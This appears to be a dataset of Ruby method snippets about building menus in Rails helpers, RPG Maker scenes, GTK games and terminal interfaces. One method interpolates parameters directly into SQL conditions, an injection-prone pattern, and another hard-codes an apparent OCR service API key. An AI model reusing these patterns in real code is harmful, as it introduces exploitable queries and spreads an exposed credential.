build_menu\n comment = table_info['comment']\n # #puts \"build Rails menu for #{model_name} (#{comment}) in\n # app/views/shared\"\n @@menus << { :model_name => model_name, :comment => comment, :route => \"/\"+ plural_table_name}\n \n end", "def menu_landscape(menuname, usrid, padmin, pmenu_item)\n sql = \" \"\n strbegin = \" \"\n itemfirst = Gemenutbl.where(\"menu_cod = '#{menuname}' AND menu_item = '#{pmenu_item}' \").first\n vnivel_hijos = itemfirst.menu_level + 1 \n if padmin == false\n\t\tsql = \" and (EXISTS (select 1 from v_users_permission d \n\t\t\t\t\tWHERE d.controller = gemenu_tbl.menu_controller AND d.user_id = #{usrid})\n\t\t\t\t\t OR gemenu_tbl.item_type <> 'C')\"\n\tend\n cont = 1\n\n strbegin +='<table><thead>'\n\tstrbegin += '<tr><td colspan=\"4\">Ruta:'+camino_retorno(menuname, pmenu_item, 'I')+'</td></tr>'\n\n menustbl = Gemenutbl.where(\"menu_cod = '#{menuname}' AND menu_item LIKE '#{pmenu_item}%' AND menu_level = #{vnivel_hijos} \"+sql).all()\n \n\tmenustbl.each do |menuitem|\n\t vdescr = menuitem.menu_descr\n\t if vdescr['---'] == '---'\n\t next\n\t end\n\t \n\t if cont == 1\n\t strbegin +='<tr><td>'\n\t else\n\t strbegin +='<td>'\n\t end\n\t cont += 1\n\t \n\t mcontroller = menuitem.menu_controller\n\t vdescr = I18n.t('menu.'+mcontroller)\n\t if vdescr.empty? \n\t mdescr = menuitem.menu_descr\n\t else \n\t if vdescr['missing'] == 'missing' \n\t\t mdescr = menuitem.menu_descr\n\t\t else\n\t\t\tmdescr = vdescr\n\t\t end\n\t end\n case menuitem.item_type\n\t\twhen 'R' \n nivel_ant = menuitem.level\n when 'N' \n\t\t vurl = url_for({:controller => 'home', :action => 'index', :itemnode=>menuitem.menu_item})\n\t\t strbegin+= '<meta name=\"viewport\" content=\"width=device-width, user-scalable=yes\">'\n \t strbegin +='<table style=\"width:75px;text-align: center;top:0px;\"><thead>'\n\t\t strbegin +='<tr><td style = \"text-align: center;\">'+link_to(image_tag(menuitem.icon, :height =>'60', :width => '60', :valign=>\"middle\", :class=>\"pin_image\", :title=>mdescr), vurl, :class => 'quick') +\"</td></tr>\"\n strbegin += '<tr><td style = \"font-size: 14px\"><b>'+link_to(mdescr, vurl, :class => 'quick', :style=> \"text-decoration: none; color: black;\")+'</b></td></tr>'\n \t strbegin +='</thead></table>'\n else\n\t\t strbegin+= '<meta name=\"viewport\" content=\"width=device-width, user-scalable=yes\">'\n\t\t strbegin +='<table style=\"width:75px;text-align: center;top:0px;\"><thead>'\n\t\t strbegin +='<tr><td style = \"text-align: center;\">'+link_to(image_tag(menuitem.icon, :height =>'60', :width => '60', :valign=>\"middle\", :class=>\"pin_image\", :title=>mdescr), '/'+menuitem.menu_controller, :class => 'quick') +\"</td></tr>\"\n strbegin += '<tr><td style = \"font-size: 13px;text-decoration: none;\"><b><a href=\"/'+menuitem.menu_controller+'\">'+mdescr+'</a></b></td></tr>'\n strbegin +='</thead></table>'\n\t end\t\n if cont == 5\n\t strbegin +='</td></tr>'\n\t\t cont = 1\n\t else\n\t strbegin +='</td>'\n\t end\t \n end\n if cont != 4\n\t strbegin +='</td></tr>'\n end\t\t \n strbegin +='</thead></table>'\n strbegin.html_safe\n end", "def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end", "def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end", "def menuitem(title, options={}, &block)\n options[:id] = \"mitem-#{rand.to_s.split('.').last}\" if options[:id].nil?\n options[:title] = title\n @menuinfo[menu_number][:menuitems] << options\n nil\n end", "def menu(req)\n @menu_vis = 'menu-visible-primary'\n inventory(req)\n end", "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n \n @status_window = Window_Status.new(200, 40, 440, 440, @actor)\n \n @status_equip_window = Window_Status_Equip.new(415, 40, 225, 272, @actor)\n @status_equip_window.active = false\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(@status_equip_window.x,\n @status_equip_window.y, \n @status_equip_window.width-32, \n @status_equip_window.height-32)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 480, positions)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.index = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @status_equip_window.help_window = @help_window\n end", "def gestionBarreMenu()\n\t\tFenetre::boutonMenu_barre.signal_connect('clicked'){\n\t\t\tmessageQuestion = Fenetre::creerPopup(\"1/2: Voulez-vous vraiment abandonner la partie et revenir au menu principal ?\", \"YES_NO\")\n\t\t if(messageQuestion.run() == Gtk::ResponseType::YES)\n\t\t \tmessageQuestion2 = Fenetre::creerPopup(\"2/2: Voulez-vous sauvegarder la partie actuelle?\", \"YES_NO\")\n\t\t \tif(messageQuestion2.run() == Gtk::ResponseType::YES)\n\t\t \t\tsauvegarder()\n\t\t \tend\n\n\t\t \tHeader.profil(@pseudo)\n\t\t \tCore::changeTo(\"Menu\", \"pseudo\": @pseudo)\n\t\t \tmessageQuestion2.destroy()\n\t\t end\n\t\t messageQuestion.destroy()\n\t\t}\n\t\tFenetre::boutonSauvegarder_barre.signal_connect('clicked'){\n\t\t\tsauvegarder()\n\t\t}\n\t\tFenetre::boutonReinit_barre.signal_connect('clicked'){\n\t\t\t# Réinitialise la grille (données)\n\t\t\t@controller.reinitialiser\n\t\t\t## Réinitialise la grille (affichage)\n\t\t\tself.reinitialiser\n\t\t\t@grilleDessin.redessiner\n\t\t}\n\t\tFenetre::boutonQuitter_barre.signal_connect('clicked'){\n\t\t\tmessageQuestion = Fenetre::creerPopup(\"1/2: Voulez-vous vraiment abandonner la partie et quitter l'application?\", \"YES_NO\")\n\n\t\t if(messageQuestion.run() == Gtk::ResponseType::YES)\n\t\t \tmessageQuestion2 = Fenetre::creerPopup(\"2/2: Voulez-vous sauvegarder la partie actuelle?\", \"YES_NO\")\n\t\t \tif(messageQuestion2.run() == Gtk::ResponseType::YES)\n\t\t \t\tsauvegarder()\n\t\t \tend\n\t\t \tFenetre::detruire()\n\t\t \tmessageQuestion2.destroy()\n\n\t\t end\n\t\t messageQuestion.destroy()\n\t\t}\n\t\tFenetre::boutonPauseChrono_barre.signal_connect('clicked'){\n\t\t\tHeader::pause = true\n\n\t\t}\n\t\tFenetre::boutonPlayChrono_barre.signal_connect('clicked'){\n\t\t\tif(Header::pause == true)\n\t\t\t\tHeader::pause = false\n\t\t\t\tHeader::chrono\n\t\t\tend\n\t\t}\n\t\t\n\t\tFenetre::boutonAnnuler_barre.signal_connect('clicked'){\n\t\t}\n\t\tFenetre::boutonRetablir_barre.signal_connect('clicked'){\n\t\t}\n\t\t#disabled\n\t\tFenetre::boutonAnnuler_barre.set_sensitive(false)\n\t\tFenetre::boutonRetablir_barre.set_sensitive(false)\n\tend", "def menu\n \n \n\nend", "def render_menus \n# student_menu = add_menu('#{@studentb.full_name}')\n student_menu = add_menu('#{image_tag(@studentb.thumb_image,:style=>\";float:left;height:25px;margin-right:10px;\") + \" \" + @studentb.full_name + \"&nbsp;&nbsp;\"}',:action=>'profile')\n student_menu.add_submenu('Profile',:action=>'profile')\n student_menu.add_submenu('Photos',:action=>'photo',:if=>\"@studentb.visible_album_counts(@me) > 0\") \n student_menu.add_submenu('Binder',:action=>'show_notes',:if=>\"@studentb.notes.not_anonymous.size > 0\") \n \n end", "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n create_command_window()\n @status_window = Window_Party_Status.new(0, 0, 480,424, $game_party.members)\n @menu_info_window = Window_Menu_Info.new(0,424,640,56)\n end", "def admin_menu_items\n menu = []\n menu.push([t(\"menu.home\"), admin_home_path, Proc.new {controller_name == \"home\"}])\n if current_user\n menu.push([t(\"menu.projects\"), admin_projects_path, Proc.new {controller_name == \"projects\" || controller_name == \"project_to_users\"}])\n menu.push([t(\"menu.users\"), admin_users_path, Proc.new {controller_name == \"users\"}])\n menu.push([t(\"menu.profile\"), admin_profile_path, Proc.new {controller_name == \"profile\"}])\n menu.push([t(\"menu.logout\"), logout_path])\n end\n menu\n end", "def perform \n \tquel_menu(menu)\n \tjournaliste\nend", "def create_menu\n items = Hash.new\n # action shd be a hash\n # menu should have array of hashes (or just a string)\n #db = { :name => \"Databases\", :accelerator => \"M-d\", :enabled = true, :on_right => :get_databases }\n #or = { :name => \"Open Recent\", :accelerator => \"M-o\", :enabled = true, :on_right => :get_recent }\n #find_array = {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev}\n items[\"File >\"] = [\"Open ... C-o\" , \"Open Recent\", \"Databases\" , \"Tables\", \"Exit\"]\n items[\"Window >\"] = { \"Tile\" => nil, \"Find >\" => {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev},\n \"Edit\" => nil, \"Whatever\" => nil}\n items[\"Others >\"] = { \"Shell Output ...\" => :shell_output, \"Suspend ...\" => :suspend , \"View File\" => :choose_file_and_view}\n\n # in the case of generated names how will call back know that it is a db name or a table name\n # We get back an array containing the entire path of selections\n right_actions = {}\n right_actions[\"Databases\"] = Proc.new { Dir.glob(\"**/*.{sqlite,db}\") }\n right_actions[\"Tables\"] = :get_table_names\n\n ret = popupmenu items, :row => 1, :col => 0, :bgcolor => :cyan, :color => :white, :right_actions => right_actions\n # ret can be nil, or have a symbol to execute, or a String for an item with no leaf/symbol\n if ret\n alert \"Got #{ret}\"\n last = ret.last\n if last.is_a? Symbol\n if respond_to?(last, true)\n send(last)\n end\n end\n end\n\n return\n r = 1\n ix = popuplist( top , :title => \" Menu \" , :row => r, :col => 0, :bgcolor => :cyan, :color => :white)\n if ix\n value = top[ix]\n ix = popuplist( items[value] , :row => r + 2 + ix, :col => 10, :bgcolor => :cyan, :color => :white)\n end\nend", "def menu(context={})\n \n app = context[:app]\n\n menu_items = [{:path => '/system',\n :options => {\n \t:title => app.t.system_admin_menu.system_menu,\n :description => 'System menu',\n :module => :system,\n :weight => 0\n }\n },\n {:path => '/system/logger', \n :options => {:title => app.t.system_admin_menu.logger,\n :link_route => \"/admin/logger\",\n :description => 'Reads the logs',\n :module => :system,\n :weight => 1}\n },\n {:path => '/system/business-events', \n :options => {:title => app.t.system_admin_menu.business_event,\n :link_route => \"/admin/business-events\",\n :description => 'Manages business events',\n :module => :system,\n :weight => 0}\n }\n ] \n \n end", "def create\r\n @icons_app.each do |k,v|\r\n v.create\r\n end\r\n # local variables\r\n \r\n refresh_settings\r\n \r\n #splitter position\r\n gfxgui_settings = @app_settings['guigfx']\r\n \r\n # window size\r\n ww = gfxgui_settings[:ww_mainwin]\r\n hh = gfxgui_settings[:hh_mainwin]\r\n \r\n # continue to insert item into giochi menu\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"Opzioni\").connect(SEL_COMMAND, method(:mnu_cuperativa_options))\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"&Esci\").connect(SEL_COMMAND, method(:onCmdQuit))\r\n \r\n # Reposition window to specified x, y, w and h\r\n position(0, 0, ww, hh)\r\n \r\n # Create the main window and canvas\r\n super \r\n # Show the main window\r\n show(PLACEMENT_SCREEN)\r\n \r\n # default game or last selected\r\n game_type = @app_settings[\"curr_game\"]\r\n #p @supported_game_map\r\n # initialize only an enabled game. An enabled game is a supported game.\r\n # Game disabled are not in the @supported_game_map. This to avoid to build poperties and\r\n # custom widgets\r\n if @supported_game_map[game_type]\r\n if @supported_game_map[game_type][:enabled]\r\n initialize_current_gfx(game_type)\r\n end\r\n else\r\n # default game is not supported, initialize the first enable game\r\n @log.debug(\"Default game not enabled, look for the first enabled one\")\r\n @supported_game_map.each do |k, game_info_h|\r\n game_type = k\r\n if game_info_h[:enabled]\r\n initialize_current_gfx(game_type)\r\n break\r\n end\r\n end\r\n end\r\n log_sometext(\"Benvenuta/o nella Cuperativa versione #{VER_PRG_STR}\\n\")\r\n @log.info(\"TheApp Create OK\") \r\n end", "def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend", "def set_menuitem\n @menu_item = params[:action]\n end", "def main_menu\n h = {\n a: :ag,\n z: :z_interface,\n # f: :file_actions,\n b: :bookmark_menu,\n c: :create_menu,\n f: :filter_menu,\n o: :order_menu,\n s: :selection_menu,\n t: :toggle_menu,\n v: :view_menu,\n '`' => :goto_parent_dir,\n x: :extras\n }\n menu 'Main Menu', h\nend", "def create_menu\n @tk_root.tk_item.native_item.bind('Command-r', -> { main_component.execute_sql(nil) })\n end", "def rev_mob_menu(line)\n image_tag(\"menu.png\", :mouseover =>\"menu_rollover.png\", :border=>0) \n end", "def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend", "def init_menu\n @menus.set_selected(\"about\")\n end", "def define_menu_items\n check_attributes\n @menu_description.concat(\"\\n #{set_boundaries}\")\n add_menu_item(\"All tasks to a person in the given #{time_string}.\", 1)\n add_menu_item(\"Worktime of a person in that #{time_string}.\", 2)\n add_menu_item(\"All tasks running during the interval.\", 3)\n add_menu_item(\"Write Query result to csv-file.\", 4)\n add_menu_item(\"Cancel and return to previous menu.\", 5)\n end", "def goldberg_main_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, :locals => {:level => 0, :depth => 0, :class_attr => nil}\n end", "def despliega_abajo_prosidebar(\n opcionmenu, iconomenu=nil, iconoexp=nil, &bloque)\n ia = ''.html_safe\n if iconomenu\n ia = content_tag(:span, class: 'menu-icon') do\n content_tag(:i, class: iconomenu.to_s) do\n end\n end\n end\n return content_tag(:li, class: 'menu-item sub-menu') do\n link_to('#') do\n ia + content_tag(:span, class: 'menu-title') do\n opcionmenu\n end + content_tag(:span, class: 'menu-suffix') do\n if iconoexp\n iconoexp.html_safe\n else\n ''.html_safe\n end\n end\n end +\n content_tag(:div, class: 'sub-menu-list') do \n content_tag(:ul,&bloque)\n end\n end\n end", "def menu\n \nend", "def menu_reader\n @resource = OcrSpace::Resource.new(apikey: \"9c919eb18788957\")\n # @wines = Wine.all\n\n @result = @resource.clean_convert file: \"app/assets/images/ema-menu.jpg\"\n\n end", "def initialize(parent)\n\t\t@assets = MenuAssets.getInstance\n\t\t@gtkObject = Gtk::Box.new :vertical\n\n\t\tmodel = Gtk::ListStore.new(String)\n\n\t\t@treeview = Gtk::TreeView.new(model)\n\t\tsetup_tree_view(@treeview)\n\n\t\tsave = Sauvegardes.new(\"./Game/Core/Saves/\",\"*.yml\")\n\n\t\tdata = save.chargerRepertoire\n\n\t\t# swapped = true\n\t\t# while swapped do\n\t\t# \tswapped = false\n\t\t# \t0.upto(data.size-2) do |i|\n\t\t# \t\tif (Date.parse(data[i].split(\"&\")[2][0...10]) <=> Date.parse(data[i].split(\"&\")[2][0...10]))<0\n\t\t# \t\t\tdata[i], data[i+1] = data[i+1], data[i]\n\t\t# \t\t\tswapped = true\n\t\t# \t\tend\n\t\t# \tend\n\t\t# end\n\n\t\tdata = data.sort{|n, m|\n\t\t\tn.split(\"&\").last <=> m.split(\"&\").last\n\t\t}.reverse\n\n\n\n\t\tdata.each_with_index do |v|\n\t\t iter = model.append\n\t\t model.set_value(iter, 0, v)\n\t\tend\n\n\t\tbox2 = Gtk::Box.new(:vertical, 10)\n\t\tbox2.border_width = 10\n\t\t@gtkObject.pack_start(box2, :expand => true, :fill => true, :padding => 0)\n\n\t\tscrolled_win = Gtk::ScrolledWindow.new\n\t\tscrolled_win.add_with_viewport(@treeview)\n\t\tscrolled_win.set_policy(:automatic,:automatic)\n\t\tbox2.pack_start(scrolled_win,:expand => true, :fill => true, :padding => 0)\n\n\n\t\t# box2 = Gtk::Box.new :horizontal\n\t\t# box2.border_width = 10\n\n\t\tbox2 = Gtk::ButtonBox.new :horizontal\n\t\tbox2.layout = :center\n\n\t\tbLoad = MenuItemUi.new(:load, @assets)\n\t\tbLoad.setOnClickEvent(Proc.new{\n\t\t\titer = @treeview.selection.selected\n\t\t\tif(iter != nil)\n\t\t\t\tindex = save.getIndex(model.get_value(iter,0)) #recuperation index\n\t\t\t\tinfos = save.getInfos(index)\n\t\t\t\tparent.changeBackground(\"ecranDeJeu\")\n\t\t\t\tif infos[0] == \"Ranked\"\n\t\t\t\t\tparent.display(RankedMode.new(nil,parent,infos.join(\"&\")))\n\t\t\t\telsif infos[0] == \"TimeTrial\"\n\t\t\t\t\tpath = File.dirname(__FILE__) + \"/../Game/Core/Saves/\"+infos.join(\"&\")\n\t\t\t\t\tdata = YAML.load_file(path)\n\t\t\t\t\tnbGrids = data[\"nbGames\"]\n\t\t\t\t\tdifficulty = :easy\n\t\t\t\t\tif nbGrids > 5\n\t\t\t\t\t\tdifficulty = :intermediate\n\t\t\t\t\telsif nbGrids > 10\n\t\t\t\t\t\tdifficulty = :hard\n\t\t\t\t\tend\n\t\t\t\t\tparent.display(TimeTrialMode.new(parent,infos.join(\"&\"),difficulty,nbGrids ))\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tdialog = Gtk::Dialog.new(\"Message\",$main_application_window,Gtk::DialogFlags::DESTROY_WITH_PARENT,[ Gtk::Stock::OK, Gtk::ResponseType::NONE ])\n\t\t\t\tdialog.signal_connect('response') { dialog.close }\n\t\t\t\t\tif @assets.language == \"FR_fr\"\n\t\t\t\t\t\tdialog.child.add(Gtk::Label.new(\"\\n\\n\\t Veuillez selectionner une sauvegarde à charger.\\t\\n\\n\"))\n\t\t\t\t\telse\n\t\t\t\t\t\tdialog.child.add(Gtk::Label.new(\"\\n\\n\\t Please select a save file to load.\\t\\n\\n\"))\n\t\t\t\t\tend\n\t\t\t\tdialog.show_all\n\t\t\tend\n\t\t})\n\n\t\tbox2.add(bLoad.gtkObject)\n\n\t\tbDelete = MenuItemUi.new(:delete, @assets)\n\t\tbDelete.setOnClickEvent(Proc.new{\n\t\t iter = @treeview.selection.selected\n\n\t\tif(iter != nil)\n\t\t index = save.getIndex(model.get_value(iter,0))#recuperation index\n\t\t save.supprimer(index)\n\t\t model.remove(iter)\n\t\telse\n\t\tdialog = Gtk::Dialog.new(\"Message\",$main_application_window,Gtk::DialogFlags::DESTROY_WITH_PARENT,[ Gtk::Stock::OK, Gtk::ResponseType::NONE ])\n\t\tdialog.signal_connect('response') { dialog.close }\n\t\t\tif @assets.language == \"FR_fr\"\n\t\t\t\tdialog.child.add(Gtk::Label.new(\"\\n\\n\\t Veuillez selectionner une sauvegarde à supprimer.\\t\\n\\n\"))\n\t\t\telse\n\t\t\t\tdialog.child.add(Gtk::Label.new(\"\\n\\n\\t Please select a save file to delete.\\t\\n\\n\"))\n\t\t\tend\n\t\tdialog.show_all\n\t\tend\n\n\n\n\n\t\t})\n\t\tbox2.add(bDelete.gtkObject)\n\n\t\t# @gtkObject.pack_start(box2, :expand => false, :fill => true, :padding => 0)\n\t\t# box2 = Gtk::Box.new(:vertical, 10)\n\t\t# box2.border_width = 10\n\t\t# @gtkObject.pack_start(box2, :expand => false, :fill => true, :padding => 0)\n\n\t\tbRetour = MenuItemUi.new(:back,@assets)\n\t\tbRetour.setOnClickEvent(Proc.new{\n\t\t\tparent.changeBackground(\"menuPrincipal\")\n\t\t\tparent.display(parent.mainMenu)\n\t\t})\n\t\tbox2.add(bRetour.gtkObject)\n\t\t@gtkObject.pack_start(box2, :expand => false, :fill => true, :padding => 0)\n\tend", "def init_menu\n @menus.set_selected(\"dashboard\")\n end", "def menu_servicio\n\t\tmenu = \"Seleccione tipo de servicio\"\n\t\tmenu += \"\\n\\tDistrital\"\n\t\tmenu += \"\\n\\tInterprovincial\"\n\t\tmenu += \"\\n\\tInterdepartamental\"\n\t\treturn menu\n\tend", "def gen_menu\n @menu = MenuTree.new\n\n return unless @sysuser\n\n @menu << MenuItem.new(_('Laboratories'),\n url_for(:controller => 'laboratories')) <<\n MenuItem.new(_('Profiles'),\n url_for(:controller => 'profiles')) <<\n MenuItem.new(_('Disk devices'),\n url_for(:controller => 'disk_devs')) <<\n MenuItem.new(_('Terminals'),\n url_for(:controller => 'terminals')) <<\n MenuItem.new(_('Terminal classes'),\n url_for(:controller => 'term_classes')) <<\n MenuItem.new(_('Instances'),\n url_for(:controller => 'instances')) \n\n if @sysuser.admin?\n @menu << MenuItem.new(_('User management'),\n url_for(:action => 'list', \n :controller => 'sysusers'))\n end\n end", "def menu(options = {})\n config.menu_item_options = options\n end", "def menu\nend", "def printMenu\n\t\tself.report(\"\n\t\tEscolha uma opção\n\t\t1 - Trocar palavra-chave.\n\t\t2 - Ver palavra-chave.\n\t\t3 - Ver arquivo.\n\t\t4 - Sair.\n\t\t? \", 1)\t\t\n\tend", "def menu_items\n menu.items(self)\n end", "def menu_items\n menu.items(self)\n end", "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n @char_info_window.ucExp.visible = false\n @char_info_window.ucExpGauge.visible = false\n @char_info_window.ucTotalExp.visible = false\n @char_info_window.refresh()\n\n @item_window = Window_Equip_Item.new(425, 40, 215, 272 + 72, @actor, @equip_index)\n @item_window.active = false\n @item_window.index = -1\n @item_window.window_update($game_party.items)\n \n @equip_window = Window_Status_Equip.new(200, 40, 225, 272, @actor)\n @equip_window.active = false\n @equip_window.height = @equip_window.height + 72\n @equip_window.index = @equip_index\n\n @status_window = Window_Equip_Compare_Status.new(200, 40, 225, 344, @actor)\n @status_window.active = false \n @status_window.visible = false\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @equip_window.help_window = @help_window\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @equip_window.detail_window = @equip_details_window\n @item_window.detail_window = @equip_details_window\n \n @command_window = Window_Command.new(200, \n [Vocab::equip_command, \n Vocab::equip_optimize_command, \n Vocab::equip_remove_command,\n Vocab::equip_remove_all_command], 2)\n @command_window.opacity = 0\n @command_window.x = 0\n @command_window.y = 48\n @command_window.active = true\n \n @optimize_modes_window = Window_Optimize_Modes.new(0, 0, 400, 64, MENU_CONFIG::OPTIMIZE_MODES)\n @optimize_modes_window.visible = false\n @optimize_modes_window.active = false\n @optimize_modes_window.help_window = @help_window\n \n @optimize_modes_window_headers = Window_Selectable_Headers.new(@optimize_modes_window)\n width_remain = (640 - @optimize_modes_window_headers.width)/2\n @optimize_modes_window_headers.x = width_remain.floor\n height_remain = (480 - @optimize_modes_window_headers.height)/2\n @optimize_modes_window_headers.y = height_remain.floor\n @optimize_modes_window_headers.visible = false\n @optimize_modes_window_headers.addHeader(Vocab::optimize_mode_text, \n 0, @optimize_modes_window.contents.width, \n 1, Font.optimize_mode_header_font)\n @optimize_modes_window_headers.refresh()\n end", "def set_menu _menu_name\n send_cmd(\"set_menu #{_menu_name}\")\n end", "def set_menu_item\n @menu_item = Menu::Item.find(params[:id])\n end", "def define_menu_items\n add_menu_item(\"Http request\", 1)\n add_menu_item(\"Http status\", 2)\n add_menu_item(\"Sourceadress\", 3)\n add_menu_item(\"Timestamp\", 4)\n end", "def set_menu_item\n @menu_item = @menu.menu_items.find(params[:id])\n end", "def menu_code\n menu = \"<span class=\\\"list-settings\\\" data-list-ref=\\\"#{uid}\\\">\"\n menu << \"<a class=\\\"settings-start\\\"><i></i>' + h('list.menu'.t) + '</a>\"\n menu << '<ul>'\n if table.paginate?\n # Per page\n list = [5, 10, 20, 50, 100, 200]\n list << table.options[:per_page].to_i if table.options[:per_page].to_i > 0\n list = list.uniq.sort\n menu << '<li class=\"parent\">'\n menu << \"<a class=\\\"pages\\\"><i></i>' + h('list.items_per_page'.t) + '</a><ul>\"\n list.each do |n|\n menu << \"<li data-list-change-page-size=\\\"#{n}\\\" '+(#{var_name(:params)}[:per_page] == #{n} ? ' class=\\\"check\\\"' : '') + '><a><i></i>' + h('list.x_per_page'.t(count: #{n})) + '</a></li>\"\n end\n menu << '</ul></li>'\n end\n\n # Column selector\n menu << '<li class=\"parent\">'\n menu << \"<a class=\\\"columns\\\"><i></i>' + h('list.columns'.t) + '</a><ul>\"\n for column in table.data_columns\n menu << \"<li data-list-toggle-column=\\\"#{column.name}\\\" class=\\\"' + (#{var_name(:params)}[:hidden_columns].include?(:#{column.name}) ? 'unchecked' : 'checked') + '\\\"><a><i></i>' + h(#{column.header_code}) + '</a></li>\"\n end\n menu << '</ul></li>'\n\n # Separator\n menu << '<li class=\"separator\"></li>'\n # Exports\n ActiveList.exporters.each do |format, _exporter|\n menu << \"<li class=\\\"export export-#{format}\\\">' + link_to(content_tag(:i) + h('list.export_as'.t(exported: :#{format}.t(scope: 'list.export.formats'))), __params.merge(action: :#{generator.controller_method_name}, sort: #{var_name(:params)}[:sort], dir: #{var_name(:params)}[:dir], format: '#{format}')) + '</li>\"\n end\n menu << '</ul></span>'\n menu\n end", "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @title_window = Window_Outline_Title.new(0, 0, 640, 56)\n @content_window = Window_Outline.new(0, 56, 640, 424)\n \n # Create Window \n @list_window = Window_Outline_List.new(0, 0, 400, 400, Vocab::tutorials_strings)\n width_remain = (640 - @list_window.width)/2\n @list_window.x = width_remain.floor\n height_remain = (480 - @list_window.height)/2\n @list_window.y = height_remain.floor\n end", "def dynamic_menu(options = {})\n render :partial => 'menu/modules/dynamic_menu',\n :locals => {:menu => prepare_links(options)}\n end", "def header_menu\n\t\tif logged_in?\n\t\t\toutput = []\n\t\t\toutput << 